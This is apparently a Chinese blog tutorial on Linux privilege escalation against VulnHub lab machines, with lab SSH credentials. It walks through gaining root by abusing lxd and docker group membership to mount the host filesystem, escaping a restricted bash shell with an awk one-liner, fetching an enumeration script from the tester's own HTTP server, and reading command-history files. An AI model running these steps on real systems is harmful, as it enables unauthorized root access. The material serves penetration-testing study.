Linux提权五:Rbash绕过&Docker&LXD镜像

前言

1.什么是LXC、LXD、Rbash?

①LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。

②LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(lxc 命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。

③rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。

2.LXD与Docker的区别? 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。

Linux系统提权 - 普通用户-LXD容器

我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:

复制代码
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf

可以看到这里当前用户在lxd组中,所以拥有创建容器的权限

原理: LXD是基于LXC容器的管理程序,当前用户可操作容器 理解为用户创建一个容器,再用容器挂载宿主机磁盘, 最后使用容器权限操作宿主机磁盘内容达到提权效果。 lxd本地提权条件: -已经获得Shell -用户属于lxd组

上传一个./LinEnum.sh进行检测

复制代码
创建容器,挂载磁盘,进入容器,进入目录提权
# 导入这个镜像命名为test容器
lxc imageimport ./alpine-v3.13-x86_64-20210218_0139.tar.gz
--alias test
#初始化镜像
lxc init test test -c security.privileged-true 
#这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root
recursive=true
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root
cat flag.txt

Linux系统提权 - 普通用户-Docker容器

环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/

提权条件:

  1. 已经获得普通用户Shell
  2. 用户属于docker组

还是直接来到入口点,通过如下账号密码SSH登录拿到权限:

账号:anurodh 密码:!d0ntKn0wmYp@ssw0rd

用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:

复制代码
1、入口点:
User: anurodh
Pass:!dOntKnOwmYp@sswOrd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root

#Linux系统提权-普通用户-Rbash绕过

参考:https://xz.aliyun.com/t/7642

Rbash(TheRestrictedmodeofbash),也就是限制型 bash 在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/

这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作

来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:

复制代码
ftp <IP>
ls
get tom.zip

1、入口点: fscan -h 192.168.1.0/24

ftp 192.168.1.8

get tom.zip(iubIre压缩包密码)

解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过:

启动一个web环境 python -m http.server 8080

下载sh文件 wget http://192.168.1.3:8080/LinEnum.sh

尝试执行发现不行:

此时需要Rbash绕过

参考文章:rbash逃逸大全-先知社区

一条简单快捷的:

复制代码
awk 'BEGIN {system("/bin/bash")}'

此时再执行可以了

3、历史泄漏提权: ./LinEnum.sh cat /home/tom/.mysql_history

复制代码
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history
相关推荐
程序员-Benothing3 小时前
Linux安全加固指南:账号、权限、服务、审计基线
linux·运维·安全
木子欢儿5 小时前
openconnect Linux客户端安装 以及开机自启和登录
linux·运维·服务器
..Dauntless..6 小时前
【Linux】文件系统(一)
linux·运维·服务器
GeW8 小时前
新质生产力路线图:从Linux到数据库,企业落地要点都在这
linux
IMPYLH8 小时前
Linux 系统备份与镜像
linux·服务器·网络
程序员老赵8 小时前
Docker 部署 Hue:轻松搭建数据库与数据仓库 SQL 查询平台
sql·docker·开源
qetfw9 小时前
Bash 字符串处理:参数展开、序列与脚本执行方式
linux·开发语言·chrome·bash
hhwyqwqhhwy9 小时前
设备树之 provider 和 consumer
java·linux·前端
aaa最北边9 小时前
Linux 上的交叉编译
linux·运维·服务器
小张成长计划..10 小时前
【Linux】27:日志
linux·运维·服务器